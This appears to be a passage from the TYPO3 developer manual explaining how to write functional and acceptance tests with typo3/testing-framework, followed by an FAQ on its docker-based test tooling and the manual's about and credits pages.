Functional testing is much about defining the specific scenario that should be set up by the system and isolating it from other scenarios. The basic thinking is that a single scenario that involves a set of loaded extensions, maybe some files and some database rows is a single test case (= one test file), and one or more single tests are executed using this scenario definition.

Single test cases extend \TYPO3\TestingFramework\Core\Functional\FunctionalTestCase. The default implementation of method setUp() contains all the main magic to set up a new TYPO3 instance in a sub folder of the existing system, create a database, create LocalConfiguration.php, load extensions, populate the database with tables needed by the extensions and to link or copy additional fixture files around and finally bootstrap a basic TYPO3 backend. setUp() is called before each test, so each single test is isolated from other tests, even within one test case. There is only one optimization step: The instance between single tests of one test case is not fully created from scratch, but the existing instance is just cleaned up (all database tables truncated). This is a measure to speed up execution, but still, the general thinking is that each test stands for its own and should not have side effects on other tests.

The \TYPO3\TestingFramework\Core\Functional\FunctionalTestCase contains a series of class properties. Most of them are designed to be overwritten by single test cases, they tell setUp() what to do. For instance, there is a property to specify which extensions should be active for the given scenario. Everyone looking or creating functional tests should have a look at these properties: They are well documented and contain examples how to use. These properties are the key to instruct typo3/testing-framework what to do.

The "external dependencies" like credentials for the database are submitted as environment variables. If using the recommended docker based setup to execute tests, these details are taken care off by the runTests.sh and docker-compose.yml files. See the styleguide example for details on how this is set up and used. Executing the functional tests on different databases is handled by these and it is possible to run one test on different databases by calling runTests.sh with the according options to do this. The above chapter Extension testing is about executing tests and setting up the runtime, while this chapter is about writing tests and setting up the scenario.

Simple Example

At the time of this writing, TYPO3 Core contains more than 2600 functional tests, so there are plenty of test files to look at to learn about writing functional tests. Do not hesitate looking around, there is plenty to discover.

As a starter, let's have a look at a basic scenario from the styleguide example again:

EXT:styleguide/Tests/Functional/TcaDataGenerator/GeneratorTest.php
<?php
namespace TYPO3\CMS\Styleguide\Tests\Functional\TcaDataGenerator;

use TYPO3\CMS\Core\Core\Bootstrap;
use TYPO3\CMS\Styleguide\TcaDataGenerator\Generator;
use TYPO3\TestingFramework\Core\Functional\FunctionalTestCase;

/**
 * Test case
 */
class GeneratorTest extends FunctionalTestCase
{
    /**
     * @var array Have styleguide loaded
     */
    protected $testExtensionsToLoad = [
        'typo3conf/ext/styleguide',
    ];

    /**
     * @test
     * @group not-mssql
     */
    public function generatorCreatesBasicRecord()
    {
        ...
    }
}
Copied!

That's the basic setup needed for a functional test: Extend FunctionalTestCase, declare extension styleguide should be loaded and have a first test.

Extending setUp

Note setUp() is not overridden in this case. If you override it, remember to always call parent::setUp() before doing own stuff. An example can be found in \TYPO3\CMS\Backend\Tests\Functional\Domain\Repository\Localization\LocalizationRepositoryTest:

typo3/sysext/backend/Tests/Functional/Domain/Repository/Localization/LocalizationRepositoryTest.php
<?php
declare(strict_types = 1);
namespace TYPO3\CMS\Backend\Tests\Functional\Domain\Repository\Localization;

use TYPO3\CMS\Backend\Domain\Repository\Localization\LocalizationRepository;
use TYPO3\CMS\Core\Core\Bootstrap;
use TYPO3\TestingFramework\Core\Functional\FunctionalTestCase;

/**
 * Test case
 */
class LocalizationRepositoryTest extends FunctionalTestCase
{
    /**
     * @var LocalizationRepository
     */
    protected $subject;

    /**
     * Sets up this test case.
     */
    protected function setUp(): void
    {
        parent::setUp();

        $this->setUpBackendUserFromFixture(1);
        Bootstrap::initializeLanguageObject();

        $this->importCSVDataSet(ORIGINAL_ROOT . 'typo3/sysext/backend/Tests/Functional/Domain/Repository/Localization/Fixtures/DefaultPagesAndContent.csv');

        $this->subject = new LocalizationRepository();
    }

    ...
}
Copied!

The above example overrides setUp() to first call parent::setUp(). This is critically important to do, if not done the entire test instance set up is not triggered. After calling parent, various things needed by all tests of this scenario are added: A database fixture is loaded, a backend user is added, the language object is initialized and an instance of the system under test is parked as $this->subject within the class.

Loaded extensions

The FunctionalTestCase has a couple of defaults and properties to specify the set of loaded extensions of a test case: First, there is a set of default Core extensions that are always loaded. Those should be require or at least require-dev dependencies in a composer.json file, too: core, backend, frontend, extbase, install and recordlist.

Apart from that default list, it is possible to load additional Core extensions: An extension that wants to test if it works well together with workspaces, would for example specify the workspaces extension as additional to-load extension:

EXT:some_extension/Tests/Functional/SomeTest.php
protected $coreExtensionsToLoad = [
    'workspaces',
];
Copied!

Furthermore, third party extensions and fixture extensions can be loaded for any given test case:

EXT:some_extension/Tests/Functional/SomeTest.php
protected $testExtensionsToLoad = [
    'typo3conf/ext/some_extension/Tests/Functional/Fixtures/Extensions/test_extension',
    'typo3conf/ext/base_extension',
];
Copied!

In this case the fictional extension some_extension comes with an own fixture extension that should be loaded, and another base_extension should be loaded. These extensions will be linked into typo3conf/ext of the test case instance.

The functional test bootstrap links all extensions to either typo3/sysext for Core extensions or typo3conf/ext for third party extensions, creates a PackageStates.php and then uses the database schema analyzer to create all database tables specified in the ext_tables.sql files.

Database fixtures

To populate the test database tables with rows to prepare any given scenario, the helper method $this->importCSVDataSet() can be used. Note it is not possible to inject a fully prepared database, for instance it is not possible to provide a full .sqlite database and work on this in the test case. Instead, database rows should be provided as .csv files to be loaded into the database using $this->importCSVDataSet(). An example file could look like this:

A CSV data set
"pages",,,,,,,,,
,"uid","pid","sorting","deleted","t3_origuid","title",,,
,1,0,256,0,0,"Connected mode",,,
"tt_content",,,,,,,,,
,"uid","pid","sorting","deleted","sys_language_uid","l18n_parent","l10n_source","t3_origuid","header"
,297,1,256,0,0,0,0,0,"Regular Element #1"
Copied!

This file defines one row for the pages table and one tt_content row. So one .csv file can contain rows of multiple tables.

There is a similar method called $this->importDataSet() that allows loading database rows defined as XML instead of CSV, too. Note that XML files are deprecated since testing framework v7 and you should use CSV files.

In general, the methods need the absolute path to the fixture file to load them. However some keywords are allowed:

EXT:some_extension/Tests/Functional/SomeTest.php
// Load a xml file relative to test case file
$this->importDataSet(__DIR__ . '/../Fixtures/pages.xml');
// Load a xml file of some extension
$this->importDataSet('EXT:frontend/Tests/Functional/Fixtures/pages-title-tag.xml');
// Load a xml file provided by the typo3/testing-framework package
$this->importDataSet('PACKAGE:typo3/testing-framework/Resources/Core/Functional/Fixtures/pages.xml');
Copied!

Asserting database

A test that triggered some data munging in the database probably wants to test if the final state of some rows in the database is as expected after the job is done. The helper method assertCSVDataSet() helps to do that. As in the .csv example above, it needs the absolute path to some CSV file that can contain rows of multiple tables. The methods will then look up the according rows in the database and compare their values with the fields provided in the CSV files. If they are not identical, the test will fail and output a table which field values did not match.

Loading files

If the system under test works on files, those can be provided by the test setup, too. As example, one may want to check if an image has been properly sized down. The image to work on can be linked into the test instance:

EXT:some_extension/Tests/Functional/SomeTest.php
/**
* @var array
*/
protected $pathsToLinkInTestInstance = [
  'typo3/sysext/impexp/Tests/Functional/Fixtures/Folders/fileadmin/user_upload/typo3_image2.jpg' => 'fileadmin/user_upload/typo3_image2.jpg',
];
Copied!

It is also possible to copy the files to the test instance instead of only linking it using $pathsToProvideInTestInstance.

Setting TYPO3_CONF_VARS

A default LocalConfiguration.php file of the instance is created by the default setUp(). It contains the database credentials and everything else to end up with a working TYPO3 instance.

If extensions need additional settings in LocalConfiguration.php, the property $configurationToUseInTestInstance can be used to specify these:

EXT:some_extension/Tests/Functional/SomeTest.php
protected $configurationToUseInTestInstance = [
    'MAIL' => [
        'transport' => \Symfony\Component\Mailer\Transport\NullTransport::class,
    ],
];
Copied!

Frontend tests

To prepare a frontend test, the system can be instructed to load a set of .typoscript files for a working frontend:

EXT:some_extension/Tests/Functional/SomeTest.php
$this->setUpFrontendRootPage(1, ['EXT:fluid_test/Configuration/TypoScript/Basic.ts']);
Copied!

This instructs the system to load the Basic.ts as typoscript file for the frontend page with uid 1.

A frontend request can be executed calling $this->executeFrontendRequest(). It will return a Response object to be further worked on, for instance it is possible to verify if the body ->getBody() contains some string.

Writing acceptance tests

Introduction

Acceptance testing in TYPO3 world is about piloting a browser to click through a frontend generated by TYPO3 or clicking through scenarios in the TYPO3 backend.

The setup provided by typo3/testing-framework and supported by runTests.sh and docker-compose.yml as outlined in the styleguide example is based on codeception and selenium, usually using chrome as browser.

Similar to functional testing, acceptance tests set up an isolated TYPO3 instance that contains everything needed for the scenario. In contrast to functional tests, though, one test suite that contains multiple tests relies on a single instance: With functional tests, each test case gets its own instance, with acceptance tests, there is typically one test suite with only one instance and all tests are executed in this instance. As a result, tests may have dependencies between each other. If for instance one acceptance test created a scheduler tasks, and a second one verifies this task can be deleted again, the second task depends on the first one to be successful. Other than that, the basic instance setup is similar to functional tests: Extensions can be loaded, the instance can be populated with fixture files and database rows and so on.

Again, typo3/testing-framework helps with managing the instance and contains some helper classes to solve various needs in a typical TYPO3 backend, it for instance helps with selecting a specific page in the page tree.

Set up

Extension developers who want to add acceptance tests for their extensions should have a look at the styleguide example for the basic setup. It contains a codeception.yml file, a suite, a tester and a bootstrap extension that sets up the system. The bootstrap extension should be fine tuned to specify - similar to functional tests - which specific extensions are loaded and which database fixtures should be applied.

Preparation of the browser instance and calling codeception to execute the tests is again performed by runTests.sh in docker containers. The chapter Extension testing is about executing tests and setting up the runtime, while this chapter is about the TYPO3 specific acceptance test helpers provided by the typo3/testing-framework.

Backend login

The suite file (for instance Backend.suite.yml) should contain a line to load and configure the backend login module:

EXT:some_extension/Tests/Acceptance/Backend.suite.yml
modules:
  enabled:
    - \TYPO3\TestingFramework\Core\Acceptance\Helper\Login:
      sessions:
        # This sessions must exist in the database fixture to get a logged in state.
        editor: ff83dfd81e20b34c27d3e97771a4525a
        admin: 886526ce72b86870739cc41991144ec1
Copied!

This allows an editor and an admin user to easily log into the TYPO3 backend without further fuzz. An acceptance test can use it like this:

EXT:styleguide/Tests/Acceptance/Backend/ModuleCest.php
<?php
declare(strict_types = 1);
namespace TYPO3\CMS\Styleguide\Tests\Acceptance\Backend;

use TYPO3\CMS\Styleguide\Tests\Acceptance\Support\BackendTester;
use TYPO3\TestingFramework\Core\Acceptance\Helper\Topbar;

class ModuleCest
{
    /**
     * @param BackendTester $I
     */
    public function _before(BackendTester $I)
    {
        $I->useExistingSession('admin');
    }
Copied!

The call $I->useExistingSession('admin') logs in an admin user into the TYPO3 backend and lets it call the default view (usually the about module).

Frames

Dealing with the backend frames can be a bit tricky in acceptance tests. The typo3/testing-framework contains a trait to help here: The backend tester should use this trait, which will add two methods. The implementation of these methods takes care the according frames are fully loaded before proceeding with further tests:

EXT:styleguide/Tests/Acceptance/Backend/SomeCest.php
// Switch to "content frame", eg the "list module" content
$I->switchToContentFrame();

// Switch to "main frame", the frame with the main modules and top bar
$I->switchToMainFrame();
Copied!

PageTree

An abstract class of typo3/testing-framework can be extended and used to open and select specific pages in the page tree. A typical class looks like this:

typo3/sysext/core/Tests/Acceptance/Support/Helper/PageTree.php
<?php
declare(strict_types = 1);
namespace TYPO3\CMS\Core\Tests\Acceptance\Support\Helper;

use TYPO3\CMS\Core\Tests\Acceptance\Support\BackendTester;
use TYPO3\TestingFramework\Core\Acceptance\Helper\AbstractPageTree;

/**
 * @see AbstractPageTree
 */
class PageTree extends AbstractPageTree
{
    /**
     * Inject our Core AcceptanceTester actor into PageTree
     *
     * @param BackendTester $I
     */
    public function __construct(BackendTester $I)
    {
        $this->tester = $I;
    }
}
Copied!

This example is taken from the Core extension, other extensions should use their own instance in an own extension based namespace. If this is done, the PageTree support class can be injected into a test:

EXT:some_extension/Tests/Acceptance/Backend/SomeCest.php
<?php
declare(strict_types = 1);
namespace Vendor\SomeExtension\Tests\Acceptance\Backend\FormEngine;

use Codeception\Example;
use TYPO3\CMS\Core\Tests\Acceptance\Support\BackendTester;
use TYPO3\CMS\Core\Tests\Acceptance\Support\Helper\PageTree;

class ElementsBasicInputDateCest extends AbstractElementsBasicCest
{
    public function _before(BackendTester $I, PageTree $pageTree)
    {
        $I->useExistingSession('admin');

        $I->click('List');
        $pageTree->openPath(['styleguide TCA demo', 'elements basic']);

        ...
    }
}
Copied!

The example above (adapt to your namespaces!) instructs the PageTree helper to find a page called "styleguide TCA demo" at root level, to extend that part of the tree if not yet done, and then select the second level page called "elements basic".

ModalDialog

Similar to the PageTree, an abstract class called AbstractModalDialog is provided by typo3/testing-framework to help dealing with modal "popups" The class can be extended and used in own extensions in a similar way as outlined above for the PageTree helper.

FAQ

Introduction

The Core took some decisions regarding testing that may not be obvious at first sight. This chapter tries to answer some of the most frequent asked ones.

Why do you docker everything?

Executing tests in a containerized environment like docker has significant advantages over local execution. It takes away all the demanding setup needs of additional services like selenium, various database systems, different php versions in parallel on the same system and so on. It also creates a well defined environment that is identical for everyone: Extension authors rely on the same system dependencies as the Core does, local test execution is identical to what the continuous integration system bamboo does. All dependencies and setup details are open sourced and available for everyone. Even Travis CI is forced to create the exact same environment in our examples, and it plays well with other dockerized solutions like ddev. In short: Using docker creates stable an easy to replay results.

Docker consumes too much hard disk

Yes. If using docker often and in various scenarios, it does not tend to be exactly economical when it comes to hard disk consumption. There are various maintenance commands that help, though: First, runTests.sh -u updates local typo3gmbh containers and removes old ones. This may help. Additionally, it is a good idea to check which local containers exist using docker images and remove obsolete ones once in a while using docker rmi. Also, some container setups tend to create many docker volumes and don't remove them after use. The command docker volume list gives an overview, and a (use with care, you have a backup right?) docker volume prune helps removing unused volumes.

Why do you need runTests.sh?

The script runTests.sh is a wrapper around docker-compose. While docker and docker-compose are great software, this stack has its own type of issues. In the end, runTests.sh just creates a .env file read by docker-compose to work around a couple of things. For instance, all tests mount the local git checkout of Core or an extension into one or multiple containers. Executing tests then may write files to that volume. These files should be written with the same local user that starts the tests, otherwise local files are created with permissions a local user may not be able to delete again. Specifying the user that runs a container is however not possible in docker directly and a long standing issue about that is still not resolved. There are further issues which runTests.sh hides away. The goal was to have a dead simple mechanism to execute tests. runTests.sh does that.

Additionally, wrapping details in runTests.sh gives the Core the opportunity to change docker-compose details without affecting the outer caller API: We can change things on docker level, adapt the script and nothing changes on the consuming side. This detail is pretty convenient since it reduces the risk of breaking consuming scripts like other CI systems.

Is a generic runTests.sh available?

No. Maybe later. The script runTests.sh is pretty young. It did not mature enough to make it generally available for example within the typo3/testing-framework to be used by extensions directly. At the moment each extension should maintain its own copy of runTests.sh and docker-compose.yml files on its own and adapt it to its extension specific needs. We'll see how this evolves and maybe deliver some more generic solution later.

Why don't you use runTests.sh in bamboo?

For TYPO3 Core testing, bamboo has its own specification in Build/bamboo/src/main/java/core/PreMergeSpec.java (and a similar nightly setup in Build/bamboo/src/main/java/core/NightlySpec.java) and uses an own docker-compose file in Build/testing-docker/bamboo/docker-compose.yml. The main reason for that is the bamboo agents are not local processes on the given hardware directly, but are also executed in docker containers to have many of them in parallel on one host.

The bamboo agents are "stupid" and only contain the java agent but don't know about PHP versions or further services. To execute single test jobs, they start new "sibling" containers and call commands in them. For instance, they start an ad hoc postgres, a redis and a memcached container, then start a PHP 7.3 container assigned to the same network and run the functional test suite. With multiple agents on one host (to make good use of many CPU's on one hardware system), these per-agent specific ad-hoc networks and volume mounts need to be separated from each other. This requires some additional setup efforts runTests.sh does not reflect. Additionally, the ram disk, responsible shell user and home directory setup is different to speed up single runs and to efficiently cache network related stuff on the local host filesystem without agents colliding with each other.

So while bamboo and local test execution use the same underlying containers, the network, local cache and volume mounts are different and this forces us to separate that from the local "one thing at a time" tailored script called runTests.sh.

Why do you not use native PHP on Travis CI?

The documentation about extension and project testing using Travis CI sets up an environment that is identical to the local testing with the same containers used locally. This circumvents the PHP versions that Travis comes with and again runs everything in docker containers. It would also be possible to use the native Travis environments. This however requires additional fiddling and more knowledge of the testing internals, especially when it comes to functional and acceptance testing. Extension authors may very well decide to do that, but a setup like that is out of scope of this document. Torturing Travis CI to fetch and run the docker containers all the time is more time consuming but simplifies the setup a lot. And it gives stable results: If it fails on Travis, it will fail locally, too.

Functional tests set up own instances in typo3temp?

Yes. This is how it works. The functional (and acceptance) bootstrap create new, isolated instances within your project root's public directory (usually .Build/Web) in typo3temp/var/tests for each execution. Maybe later we make this path configurable and locate it elsewhere, but for the time being it is how it is.

Can I provide more hardware for bamboo?

Yes and no. We indeed consume quite some hardware to keep the TYPO3 Core testing at a decent speed and we are always looking for more. Under normal operation, we currently consume 64 CPU's and half a terabyte of RAM. This is something. However, it is not trivial to help us: With the current system, we need root access to the host, a host needs 8 hardware CPU's with 64 GB of RAM, the system needs to be stable and always available, it needs to be wired into the TYPO3 GmbH internal VPN, we need a decent network connection and we need to trust the system. You probably do not want to load systems like that with additional tasks since the system load can grow quite high if the agent cluster is busy. If you can comply with this, please mail to the TYPO3 GmbH for details, it is highly appreciated! In the future our system demands may hopefully shrink, maybe we're able to establish more dynamic scaling using kubernetes for instance, but we're not there yet.

Testing is slow on macOS

Yes. macOS has issues at least in this area. We're sorry. It is how it is. There are various issues that have not been solved in a satisfiable way when it comes to mounting bigger local directories as docker container volumes. github is full of issues with mac users complaining about poor docker performance. There may be some tricks to speed that up in our tiny TYPO3 testing world and we're open to persons having a look at this to reduce pain for mac users. Other than that, there is little we can do. Eventually, maybe macOS gets its name spacing, file system layers and containerization right in the future? Windows is better and quicker in this area by now. Let that sink in. Please keep us posted.

Can i run tests with Windows?

Well. Maybe. We've had some successful reports using runTests.sh with WSL: Windows Subsystem for Linux but we did not get too much information and experience on this, yet. Please go ahead, push patches for Core runTests.sh or the docker-compose.yml files and improve this documentation with hints about Windows. We already know there are some details to take care of, a starter can be found in a Core patch commit message.

About This Manual

TYPO3 is known for its extensibility. To really benefit from this power, a complete documentation is needed: "TYPO3 Explained" aims to provide such information to everyone. Not all areas are covered with the same amount of detail, but at least some pointers are provided.

The document does not contain any significant information about the frontend of TYPO3. Creating templates, setting up TypoScript objects etc. is not the scope of the document, it addresses the backend and management part of the Core only.

The TYPO3 Documentation Team hopes that this document will form a complete picture of the TYPO3 Core architecture. It will hopefully be the knowledge base of choice in your work with TYPO3.

Intended Audience

This document is intended to be a reference for TYPO3 developers and partially for integrators. The document explains all major parts of TYPO3 and the concepts. Some chapters presumes knowledge in the technical end: PHP, MySQL, Unix etc, depending on the specific chapter.

The goal is to take you "under the hood" of TYPO3. To make the principles and opportunities clear and less mysterious. To educate you to help continue the development of TYPO3 along the already established lines so we will have a consistent CMS application in a future as well. And hopefully this teaching on the deep technical level will enable you to educate others higher up in the "hierarchy". Please consider that as well!

Code examples

Many of the code examples found in this document come from the TYPO3 Core itself.

Quite a few others come from the "styleguide" extension. You can install it, if you want to try out these examples yourself and use them as a basis for your own extensions.

Feedback and Contribute

If you find an error in this manual, please be so kind to hit the "Edit me on GitHub" button in the top right corner and submit a pull request via GitHub.

Alternatively you can just report an issue on GitHub.

You can find more about this in Writing Documentation:

If you are currently not reading the online version, go to https://docs.typo3.org/typo3cms/CoreApiReference/.

Maintaining high quality documentation requires time and effort and the TYPO3 Documentation Team always appreciates support.

If you want to support us, please join the slack channel #typo3-documentation on Slack (Register for Slack).

And finally, as a last resort, you can get in touch with the documentation team by mail.

Credits

This manual was originally written by Kasper Skårhøj. It was further maintained, refreshed and expanded by François Suter.

The first version of the security chapter has been written by Ekkehard Guembel and Michael Hirdes and we would like to thank them for this. Further thanks to the TYPO3 Security Team for their work for the TYPO3 project. A special thank goes to Stefan Esser for his books and articles on PHP security, Jochen Weiland for an initial foundation and Michael Schams for compiling the content of the security chapter and coordinating the collaboration between several teams. He managed the whole process of getting the Security Guide to a high quality.

Dedication

I want to dedicate this document to the people in the TYPO3 community who have the discipline to do the boring job of writing documentation for their extensions or contribute to the TYPO3 documentation in general. It's great to have good coders, but it's even more important to have coders with character to carry their work through till the end - even when it means spending days writing good documents. Go for completeness!

- kasper

Sitemap

Localization with Pootle